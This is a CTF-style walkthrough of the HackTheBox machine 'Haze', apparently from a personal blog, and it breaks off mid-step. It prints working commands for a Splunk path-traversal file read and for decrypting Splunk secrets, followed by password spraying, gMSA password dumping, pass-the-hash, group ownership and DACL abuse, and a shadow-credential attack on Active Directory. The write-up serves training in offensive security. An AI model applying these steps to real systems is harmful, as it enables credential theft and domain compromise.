Haze
2025-03-30
INTRODUCTION
Haze was released as the penultimate box of HTB’s Season 7 Vice. It was challenging, and has several “gotchas” built into it - thankfully, these moments are surmountable with the right set of tools. Haze is a test of both the breadth of your toolbox, and how well you know each one of your tools. Haze is true to its name: at no point during this box can you see more than a single step forward… My advice is to redo Bloodhound data collection (in multiple ways) every time you move laterally to another principal.
Recon was relatively short for a box of this difficulty. That being said, I spent quite a while performing web enumeration in hopes that there was some kind of permission or access-control misconfiguration (spoiler alert: there wasn’t!). Checking out the HTTP endpoint manually provides a hint at a username, but that’s all. While we don’t have an exact version of the target’s software yet, it is still worthwhile to spend some time researching public vulnerabilities.
Foothold wasn’t too bad. If you took my advice and spend some time researching vulnerabilities, you’ll quickly notice a very useful exploit that can be used to discover some of the target’s secrets. How to make use of these secrets is another matter! Foothold had a couple moments that, at the time, seemed like rabbit-holes. However, a little research into the target reveals that they are intentional (albeit weird and proprietary) aspects of the target’s configuration. Unfortunately, the user we gain a foothold as does not hold the user flag.
The user flag is straightforward on this one, once you see the path. Used properly, Bloodhound shows us the way forward to the next user - it’s only a matter of utilizing a few tools to abuse an AD misconfiguration. I had never seen this misconfiguration or this method, so it took some research for me to figure this out.
The root flag involved a few steps. At one point, we need to do some filesystem enumeration. One hint here is to keep in mind “what” you’re looking for, rather than “where” you might find it… The secrets you uncover will, puzzlingly, lead you back to where you started the box. Consider what has changed, what you’ve gained along the way, and leverage this for one more lateral move to arrive at the final low-priv user. Check that user’s privileges and see if one stands out: it’s something I’ve written about before, so feel free to search for that privilege on this blog for some tips on how to abuse it.
Haze was tough, but it was a great way to build familiarity with some essential tools for attacking Active Directory.

RECON
nmap scans
Port scan
I’ll start by setting up a directory for the box, with an nmap subdirectory. I’ll set $RADDR to the target machine’s IP and scan it with a TCP port scan over all 65535 ports:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
8000/tcp open http-alt
8088/tcp open radan-http
8089/tcp open unknown
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49672/tcp open unknown
49681/tcp open unknown
49682/tcp open unknown
50887/tcp open unknown
50892/tcp open unknown
50903/tcp open unknown
50918/tcp open unknown
58335/tcp open unknown
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-30 05:49:04Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8000/tcp open http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.36.146:8000/en-US/account/login?return_to=%2Fen-US%2F
8088/tcp open ssl/http Splunkd httpd
|_http-server-header: Splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
|_http-title: 404 Not Found
| http-robots.txt: 1 disallowed entry
|_/
8089/tcp open ssl/http Splunkd httpd
|_http-server-header: Splunkd
|_http-title: splunkd
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49681/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49682/tcp open msrpc Microsoft Windows RPC
50887/tcp open msrpc Microsoft Windows RPC
50892/tcp open msrpc Microsoft Windows RPC
50903/tcp open msrpc Microsoft Windows RPC
50918/tcp open msrpc Microsoft Windows RPC
58335/tcp open msrpc Microsoft Windows RPC
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 8h00m00s
| smb2-time:
| date: 2025-03-30T05:49:58
|_ start_date: N/A
Oh cool! I’ve never tried Splunk before. This will be interesting.
⚠️ Also, I’ve never had to deal with ports 3268 and 3269 - these are for the LDAP Global Catalog
Why is this worth mentioning? Because it implies there might be a whole domain Forest in the works…
UDP scan
To be thorough, I’ll also do a scan over the common UDP ports. UDP scans take quite a bit longer, so I limit it to only common ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT STATE SERVICE VERSION
53/udp open domain (generic dns response: NOTIMP)
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-30 05:56:23Z)
123/udp open ntp NTP v3
Exploring the Website
Noting the domain from the nmap scan, I’ll add haze.htb to my /etc/hosts and do banner-grabbing for the web server:
DOMAIN=haze.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

Splunk login
The HTTP server on port 8000, as nmap and whatweb both indicated, is clearly the Splunk web UI:

Attempting a login as root:root we get a simple message denying access. But the First time signing in? button opens a tray with some interesting info:

Ok, so there might be a username admin 💡
Webserver Strategy
Ideally, there will be more that we can infer from HTTP in an unauthenticated fashion. Let’s do some fuzzing to find out.
(Sub)domain enumeration
I’ll perform vhost and subdomain enumeration, to see if anything else is running on port 8000. First, I’ll check for alternate domains at this address:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR:8000/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No results.
Next I’ll check for subdomains of haze.htb:
ffuf -w $WLIST -u http://$RADDR:8000/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
Still nothing.
Directory enumeration
I’ll move on to directory enumeration. First, on http://haze.htb:
WLIST=/usr/share/wordlists/dirs-and-files-lowercase.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4

Ok, that makes sense. Whatever directories the web app has will probably be behind their respective language directory. I think my wordlist is best matched to en-us so I’ll continue with that:
ffuf -w $WLIST:FUZZ -u http://$DOMAIN:8000/en-us/FUZZ -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_6ffuf-directories-en_us -of json -timeout 4 -mc all -fc 404 -v

👀 That produced a LOT of results. So many, in fact, that I’ll probably need to parse it using jq
jq '.results[] | select(.status == 200) | {url}' ffuf-directories-en_us \
| grep '"url"' \
| cut -d '"' -f 4 \
| sed 's/http\:\/\/haze\.htb\:8000//'
/en-us/config
/en-us/embed
/en-us/favicon.ico
/en-us/help
/en-us/lists
/en-us/robots.txt
/en-us/robots-txt
Thank goodness I took JSON logs 😅
Now let’s get the HTTP 30X results:
jq '.results[] | select(.status >= 300) | select(.status < 400) | {url}' ffuf-directories-en_us \
| grep '"url"' \
| cut -d '"' -f 4 \
| sed 's/http\:\/\/haze\.htb\:8000//'
/en-us/account
/en-us/admin
/en-us/api
/en-us/app/bin
/en-us/app/composer.lock
/en-us/app/config/adminconf.json
/en-us/app/composer.json
/en-us/app/config/database.yml
/en-us/app/config/databases.yml
/en-us/app/config/database.yml.pgsql
/en-us/app/config/database.yml.sqlite3
/en-us/app/config/routes.cfg
/en-us/app/config/database.yml~
/en-us/app/config/global.json
/en-us/app/config/parameters.yml
/en-us/app/etc/local.xml.vmachine
/en-us/app/etc/local.xml
/en-us/app/config/database.yml_original
/en-us/app/config/parameters.ini
/en-us/app/dev
/en-us/app/etc/config.xml
/en-us/app/etc/local.xml.live
/en-us/app/docs
/en-us/app/etc/local.xml.bak
/en-us/app/etc/enterprise.xml
/en-us/app/config/schema.yml
/en-us/app/etc/local.xml.additional
/en-us/app/etc/local.xml.phpunit
/en-us/app/etc/local.additional
/en-us/app/etc/local.xml.localremote
/en-us/app/etc/fpc.xml
/en-us/app/etc/local.xml.vmachine.rm
/en-us/app/etc/local.xml.template
/en-us/app/.htaccess
/en-us/app/languages
/en-us/app/phpunit.xml
/en-us/app/src
/en-us/app/sys
/en-us/app/testing
/en-us/app/unschedule.bat
/en-us/app/vendor
/en-us/app/vendor-src
/en-us/config/application.rb
/en-us/config/appdata.config
/en-us/config/apc.php
/en-us/config/application.ini
/en-us/config/aws.yml
/en-us/config/boot.rb
/en-us/config/app.yml
/en-us/config/banned_words.txt
/en-us/config/config.inc.php.bak
/en-us/config/config.inc.php.dist
/en-us/config/database.yml.sqlite3
/en-us/config/database.yml~
/en-us/config/database.yml
/en-us/config/config.inc.php
/en-us/config/database.yml.pgsql
/en-us/config/database.yml_original
/en-us/config/databases.yml
/en-us/config/dbconfig.ini
/en-us/config/config.ini
/en-us/config/monkcheckout.ini
/en-us/config/monkid.ini
/en-us/config/monkdonate.ini
/en-us/config/producao.ini
/en-us/config/puma.rb
/en-us/config/routes.yml
/en-us/config/routes.rb
/en-us/config/secrets.yml
/en-us/config/settings.inc
/en-us/config/settings.ini
/en-us/config/settings.ini.cfm
/en-us/config/settings.local.yml
/en-us/config/webpacker.yml
/en-us/index
/en-us/info
/en-us/licensing
/en-us/login
/en-us/manager
/en-us/manager/html
/en-us/modules
/en-us/search
/en-us/tree
The vast majority of these were HTTP 303 results that redirected back to the login page. Which ones redirected somewhere else?
jq '.results[] | select(.status == 303) | {redirectlocation}' ffuf-directories-en_us \
| grep redirectlocation \
| cut -d '"' -f 4 \
| grep -v 'http://haze.htb:8000/en-US/account/login'
http://haze.htb:8000/en-US/manager
http://haze.htb:8000/en-US/manager/system/licensing/switch?return_to=None
However, when I checked these locations, the redirects themselves also redirected back to to the login page… 😒
HTTP 200 pages
/en-US/config is just some json. Unfortunately, it does not look useful.
{"MRSPARKLE_ROOT_PATH": "", "MRSPARKLE_PORT_NUMBER": "8000", "FORM_KEY": null, "SERVER_ZONEINFO": "", "SPLUNKD_PATH": "/en-US/splunkd/__raw", "JSCHART_TEST_MODE": false, "JSCHART_TRUNCATION_LIMIT": null, "JSCHART_TRUNCATION_LIMIT_CHROME": 50000, "JSCHART_TRUNCATION_LIMIT_FIREFOX": 50000, "JSCHART_TRUNCATION_LIMIT_SAFARI": 50000, "JSCHART_TRUNCATION_LIMIT_IE11": 50000, "JSCHART_TRUNCATION_LIMIT_IE10": null, "JSCHART_TRUNCATION_LIMIT_IE9": null, "JSCHART_TRUNCATION_LIMIT_IE8": null, "JSCHART_TRUNCATION_LIMIT_IE7": null, "JSCHART_SERIES_LIMIT": 100, "JSCHART_RESULTS_LIMIT": 10000, "EMBED_URI": "", "EMBED_FOOTER": "splunk>", "LOCALE": "en-US"}
- **
/en-US/embed**doesn’t seem to load anything. /en-US/faviconis just the favicon./en-US/helpsends us to the online public help from Splunk.
/en-US/lists seems to hint at some kind of API:

Both robots.txt pages show a minimal robots configuration. Nothing interesting.
Finally, after checking all those pages, I’ve gone through as much of the javascript from the login page as I can (searching for something that would hint at a particular Splunk version). Still no luck!
🤔 Hmm… I still don’t really have any leads. I wish I had a better way of fingerprinting Splunk.
Vulnerability Research
HTB boxes often feature notable, recent CVEs - sometimes non-CVEs that were featured in the news, too. I’ll do some web searching to see if any vulnerabilities stand out.
I’m literally just going to Google and searching
"splunk" CVE vulneravility PoC exploitand sifting through the results.
I was surprised to see so many CVEs, but some that stood out are:
- CVE-2023-32707
Authenticated admin account takeover. User must have
edit_usercapability. Requires Splunk Enterprise < 9.0.5. LINK - CVE-2024-29945 and CVE-2024-29946 Authenticated Search Processing Language (SPL) flaws. Enables something that basically sounds like a Splunk-specific thing similar to an SQLi. Requires versions prior to Spunk Enterprise 9.2.1, 9.1.4, or 9.0.9. LINK
- CVE-2024-36991 Local file inclusion that can be used through a path traversal. Requires versions prior to Splunk Enterprise 9.2.2, 9.1.5, and 9.0.10. Target must be Windows. LINK PoC
- CVE-2023-46214 Authenticated RCE due to lack of validation in extensible stylesheet language transformations (XSLT). Requires Splunk Enterprise prior to 9.0.7 and 9.1.2. LINK PoC
- CVE-2025-20229 Authenticated RCE due to lack of permissions check on uploading to a certain directory. Requires Splunk Enterprise prior to 9.3.3, 9.2.5, and 9.1.8. LINK
(1), (2), (4) and (5) all require authentication - and (4) specifically requires credentials.
(3) seems possible, and actually really easy to test. All we need to do is send a GET request with a path traversal in it:
curl http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd

😑 you. must. be. joking.
Not only did it work first try, but there are also password hashes in there?! Also, note the email address for admin: this is clearly an uninitialized admin account for Splunk!
It’s also a little surprising that we got
/etc/passwd, since this is a Windows target. The target must be running Splunk in a linux-based container or something.
FOOTHOLD
Hash Cracking
I’ll put the hashes in a form more suitable for cracking
curl http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd \
| cut -d ':' -f 2,3 > etc-passwd.hash
name-that-hash identifies the hashes as SHA-512 Crypt, with hashcat mode 1800 or JtR mode sha512crypt.
hashcat -m 1800 --username etc-passwd.hash /usr/share/wordlists/rockyou.txt
It was going to take a little over a day to do
rockyou.txt, so I moved the cracking job over to a machine with a GPU and started again.Went from 500 H/s to 69.2 kH/s. A bit of an improvement 😅
🤔 Hmm… No luck. Perhaps these password hashes weren’t meant to be crackable.
Sensitive Files
If these password hashes aren’t meant to be crackable, I should probably go looking for other sensitive files. But what sensitive files does Splunk use?
Obviously, I can’t just spin up my own docker container of Splunk Enterprise and look (I’m sure it’s expensive. Plus, I don’t use Windows), so instead I asked ChatGPT:
Great, well we already found one of those, we’ve already confirmed the %SPLUNK_HOME% part. I’ll check the rest of those files:
authentication.conf
[splunk_auth]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0
[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname
[authentication]
authSettings = Haze LDAP Auth
authType = LDAP
😮 Whoa! Check out the [Haze LDAP Auth] part. It looks like a password hash for LDAP.
server.conf
[general]
serverName = dc01
pass4SymmKey = $7$lPCemQk01ejJvI8nwCjXjx7PJclrQJ+SfC3/ST+K0s+1LsdlNuXwlA==
[sslConfig]
sslPassword = $7$/nq/of9YXJfJY+DzwGMxgOmH4Fc0dgNwc5qfCiBhwdYvg9+0OCCcQw==
[lmpool:auto_generated_pool_download-trial]
description = auto_generated_pool_download-trial
peers = *
quota = MAX
stack_id = download-trial
[lmpool:auto_generated_pool_forwarder]
description = auto_generated_pool_forwarder
peers = *
quota = MAX
stack_id = forwarder
[lmpool:auto_generated_pool_free]
description = auto_generated_pool_free
peers = *
quota = MAX
stack_id = free
More hashes!
web.conf and deploymentclient.conf each led to HTTP 404 errors.
Splunk conf hashes
These hashes all seem to use the same algorithm, so let’s bundle them into one file:
cat << "EOF" > splunk_conf_files.hash
$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
$7$lPCemQk01ejJvI8nwCjXjx7PJclrQJ+SfC3/ST+K0s+1LsdlNuXwlA==
$7$/nq/of9YXJfJY+DzwGMxgOmH4Fc0dgNwc5qfCiBhwdYvg9+0OCCcQw==
EOF
name-that-hash -f splunk_conf_files.hash
No result from name-that-hash… What about hashcat itself?
hashcat --example-hashes | grep '$7'
Still nothing really matches. After a short web search, I came across this repo: https://github.com/HurricaneLabs/splunksecrets. In their readme, they discuss the format of hashes we see above.
However, to use this tool, we need the “splunk secret”… No clue where that might be. I’ll just ask:
😹 that’s exactly what I needed!
curl http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/splunk.secret | tee loot/splunk.secret
🙅♂️ Nope, that’s a HTTP 404. Checking online, however, I found from the Splunk forums that it might actually be at %SPLUNK_HOME%/etc/auth/splunk.secret. Let’s check that instead:
curl http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/auth/splunk.secret | tee loot/splunk.secret

Great! Now that I have some $7 formatted hashes, and the splunk secret, I should be able to use the splunksecrets tool:
cd ../tools; python3 -m venv .
source bin/activate
pip3 install splunksecrets
splunksecrets --help # figured out the syntax
I’ll loop the tool through all the hashes
while IFS= read -r hash; do
splunksecrets splunk-decrypt -S ../loot/splunk.secret --ciphertext "$hash";
done < ../loot/splunk_conf_files.hash

There’s three cracked passwords 😁
| Account | Password |
|---|---|
| Paul Taylor | Ld@p_Auth_Sp1unk@2k24 |
| pass4SymmKey | changeme |
| sslPassword | password |
Hopeful for credential re-use, I tossed the
Paul Taylorcredential intoevil-winrm:evil-winrm -i haze.htb -u 'Paul Taylor' -p 'Ld@p_Auth_Sp1unk@2k24'No luck! It’s marked as being an LDAP password, so maybe I should use it for that? First
Password spraying
I have a name and password (but not a username). This feels pretty close to an actual foothold, so I want to see if I can do a bit of an educated brute-force for Paul Taylor’s username.
Thankfully, there’s a tool called username-anarchy that works perfectly for this use-case - turning a person name (and optionally other info) into a wordlist of usernames:
./username-anarchy Paul Taylor

Now that we have a few somewhat-likely usernames, let’s do spray the password at them:
crackmapexec smb -u paul_taylor.lst -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htb $RADDR --continue-on-success

👏 Alright! There’s a verified credential: paul.taylor : Ld@p_Auth_Sp1unk@2k24. Can this be used to access the Splunk dashboard?

❌ No, this credential doesn’t work for splunk. Neither do any of the passwords when used with the admin user.
I’ll try winrm again with this newfound loot:
evil-winrm -i haze.htb -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24'
😞 Nope, that still didn’t do it. Maybe the target will only allow authentication through Kerberos?
impacket-getTGT -dc-ip $RADDR 'haze.htb/paul.taylor:Ld@p_Auth_Sp1unk@2k24'

Alright, let’s double-check the clock skew:
echo "theirs: $(rdate -np $RADDR)"; echo " mine: $(date +%a\ %b\ %d\ %H:%M:%S\ %Z\ %Y)"

They’re 8h ahead of me, so I can use faketime to correct for it:
faketime -f +8h impacket-getTGT -dc-ip $RADDR 'haze.htb/paul.taylor:Ld@p_Auth_Sp1unk@2k24'

I have a TGT, but I still need to configure my kerberos client to connect to the target. This is the custom_krb5.conf file I’ve made:
[libdefaults]
default_realm = HAZE.HTB
dns_lookup_realm = true
dns_lookup_kdc = true
[realms]
HAZE.HTB = {
kdc = dc01.haze.htb
admin_server = dc01.haze.htb
default_domain = dc01.haze.htb
}
[domain_realm]
haze.htb = HAZE.HTB
.haze.htb = HAZE.HTB
KRB5CCACHE=paul.taylor.ccache faketime -f +8h evil-winrm -i dc01.haze.htb -r HAZE.htb
😞 Still not working! I get some gssapi error indicating that this user cant be found. Upon further research, I realized that this error would occur if paul.taylor simply wasnt in the Remote Management Users group.
Thankfully, now that we have a credential, it should be easy to check this.
Bloodhound
The credential we’ve obtained strongly hints that it’s purpose is LDAP access. We could do all kinds of enumeration with LDAP, but to get a broad overview, I’ll try Bloodhound.
Note: I’m already running Bloodhound-CE as a docker stack, with
docker compose up. See the Bloodhound-CE github repo for more details.
Since I don’t have any remote connection, I’ll use rusthound-ce as the data collector:
rusthound-ce -d 'haze.htb' -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24' -z
Appears successful, I’ll ingest the resulting zip file into Bloodhound. Checking out paul.taylor, we can see that they are able to enroll in some certificates, but that’s pretty much it:

Disappointingly, paul.taylor is NOT a member of Remote Management Users:

Unless I’m mistaken, this explains why I was never able to connect over WinRM as paul.taylor… Maybe I should try the same password on either of these two users? Based on the username format from earlier, they’re probably edward.martin and mark.adams.
evil-winrm -i dc01.haze.htb -u 'edward.martin' -p 'Ld@p_Auth_Sp1unk@2k24'
No credential reuse for edward.martin…
evil-winrm -i dc01.haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24'

🎉 YES! We unexpectedly have credential reuse with one of th users in Remote Management Users group! We have a shell 👍
USER FLAG
Local enumeration - mark.adams
I’d like to collect more data for Bloodhound (this time, using Sharphound), so I’ll need to transfer some tools onto the target. SMB is convenient:
cd ~/Tools/WINDOWS
sudo ufw allow from $RADDR to any port 139,445 proto tcp
sudo impacket-smbserver share -smb2support ./ -user test -password test
Now, we can map this to a drive on the target:
net use X: \\10.10.14.100\share /user:test test
Now we can run Sharphound, and transfer the results back to the attacker host:
X:\SharpHound.exe -c All --collectallproperties
copy 20250331215828_BloodHound.zip X:\20250331215828_BloodHound.zip
del 20250331215828_BloodHound.zip
On my attacker host (as before) I’ll get Bloodhound to ingest the new data.
There isn’t very much new, but at least we can get an idea of what mark.adams is about:

Mostly unsurprising, but that is this GMSA_MANAGERS group? I’ve only heard of those, but never seen them.
A little bit of research uncovered that a gMSA is a group managed service account. When you need multiple instances of a service account, or need to allow shared credentials between the service account, you use a gMSA.
🤔 This brings to mind the HAZE-IT-BACKUP$ user I saw earlier in Bloodhound. It didn’t seem like a regular account. Is it a gMSA?

Scrolling down a little further, we see the property gMSA TRUE, so that confirms it! So from what I understand, a member of GMSA_MANAGERS (mark.adams is the only member) should be able to read the gMSA password.
gMSA accounts use very long, randomized passwords that are rotated automatically. According to Hacktricks, they are often rotated every 30 days.
This article mentions using a tool called gMSADumper.py to read any/all available gMSA passwords using a specified regular account. Let’s try it out:
python3 gMSADumper.py -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' -d 'haze.htb'

Well… mark.adams is not a domain admin. Does that mean this is hopeless? Probably not: I’m sure the membership mark.adams has in GMSA_MANAGERS allows exactly this (we need to allow mark.adams to request the password of HAZE-IT-BACKUP$):
Set-ADServiceAccount -Identity "Haze-IT-Backup" -PrincipalsAllowedToRetrieveManagedPassword "mark.adams"
This didn’t show any output, but it didn’t show any errors either - so let’s try again to read the gMSA password:
python3 gMSADumper.py -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' -d 'haze.htb'

👏 Success! The top entry is the NT hash for HAZE-IT-BACKUP$: HAZE-IT-BACKUP$ : :735c02c6b2dc54c3c8c6891f55279ebc
support_services
Now that we have the NT hash for HAZE-IT-BACKUP$, we can mostly act as that user. But what does that gain us?

We can see from Bloodhound that HAZE-IT-BACKUP$ is unique in that it has WriteOwner privileges over the SUPPORT_SERVICES group. This suggests that I could write HAZE-IT-BACKUP$ as the new owner to the group. Then, I should be free to add any members, even ones I’ve already compromised, like mark.adams.
Let’s try it out!
Adding a member to Support_Services
We need to do three steps:
- Write a new owner of the group (Should be
HAZE-IT-BACKUP$) - Grant
AddMemberpermissions toHAZE-IT-BACKUP$ - Add
mark.adamsas a member of the group
According to Bloodhound’s Linux Abuse section on WriteOwner, we can use impacket’s owneredit for this:
impacket-owneredit -hashes ':735c02c6b2dc54c3c8c6891f55279ebc' -action write -new-owner-dn 'CN=HAZE-IT-BACKUP,CN=MANAGED SERVICE ACCOUNTS,DC=HAZE,DC=HTB' -target 'SUPPORT_SERVICES' 'haze.htb/HAZE-IT-BACKUP$'
Success 👍
Now that HAZE-IT-BACKUP$ owns the group, we should be able to use dacledit to grant WriteMembers privileges to them:
impacket-dacledit -hashes ':735c02c6b2dc54c3c8c6891f55279ebc' -action 'write' -rights 'WriteMembers' -principal 'HAZE-IT-BACKUP$' -target 'SUPPORT_SERVICES' 'haze.htb/HAZE-IT-BACKUP$'
Also successful 👍
Finally, we can add mark.adams as a member of the group:
pth-net rpc group addmem "SUPPORT_SERVICES" "mark.adams" -U "haze.htb"/"HAZE-IT-BACKUP$"%"ffffffffffffffffffffffffffffffff":"735c02c6b2dc54c3c8c6891f55279ebc" -S "dc01.haze.htb"
All good! 🎉
Bloodhound re-collection
We just added mark.adams to the Support_Services group, but what has that gained us? I tried running both rusthound-ce and SharpHound.exe again, but everything looked the same… 🤔
At the wise advice of another HTB player, I’ll try a different Bloodhound collector: bloodhound-ce-python
Getting
bloodhound-ce-pythonWe can use
bloodhound-ce-pythonas yet another data collector for Bloodhound-CE. This tool can be obtained directly from the repo. However, the trick is to use thebloodhound-cebranch:cd ~/Tools git clone https://github.com/dirkjanm/BloodHound.py cd BloodHound.py git checkout bloodhound-ce python3 -m pipx install .
I tried this once and got the clock skew error. To correct for this, we can once again use faketime:
faketime -f +8h bloodhound-ce-python -c All -d 'haze.htb' -ns $RADDR -dc "dc01.haze.htb" -u 'HAZE-IT-BACKUP$' --hashes ':735c02c6b2dc54c3c8c6891f55279ebc' --zip
The results appear as a .zip file. After importing the resulting data into Bloodhound, I checked each notable user/group again:
mark.adamsHAZE-IT-BACKUP$Support_Services
😮 Oh nice! There’s definitely something new here:

That looks extremely useful. The AddKeyCredentialKink privilege is the main requirement for a “shadow credential attack”.
Shadow Credential Attack
This is a very good article describing detailed steps to perform the Shadow Credential attack
Since we’ve already added mark.adams to that Support_Services, we should be able to do this with pyWhisker:
pywhisker.py -d "haze.htb" -u "mark.adams" -p "Ld@p_Auth_Sp1unk@2k24" --target "edward.martin" --action "add"

😒 Huh? Why can’t it find edward.martin? I’ll try doing the same thing but with bloodyAD instead:
bloodyAD --host 'dc01.haze.htb' -d 'haze.htb' -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' add shadowCredentials 'edward.martin'

That’s very troubling… Why can’t edward.martin be found in LDAP?
For future research
Why can’t
pywhiskerorbloodyADfindedward.martinin LDAP? I’ve seen this user before, so why is it an issue now?Can I only “see” certain users when querying LDAP from specific perspectives?
Maybe this same technique would work if I used a different user to link the shadow credentials? Thankfully, I have another compromised account - HAZE-IT-BACKUP$:
We can use
pywhiskerwith--action 'list'to test whether an account can seeedward.martin👇

The only difference between these two invocations is which user I ran the query as. Clearly, there’s a difference!
⏩ To run pywhisker as HAZE-IT-BACKUP$, I’ll need to add HAZE-IT-BACKUP$ as a member of Support_Services. That means re-doing the last few steps:
# Write HAZE-IT-BACKUP$ as new owner of the group
impacket-owneredit -hashes ':735c02c6b2dc54c3c8c6891f55279ebc' -action write -new-owner-dn 'CN=HAZE-IT-BACKUP,CN=MANAGED SERVICE ACCOUNTS,DC=HAZE,DC=HTB' -target 'SUPPORT_SERVICES' 'haze.htb/HAZE-IT-BACKUP$'
# Grant AddMember privilege to HAZE-IT-BACKUP$
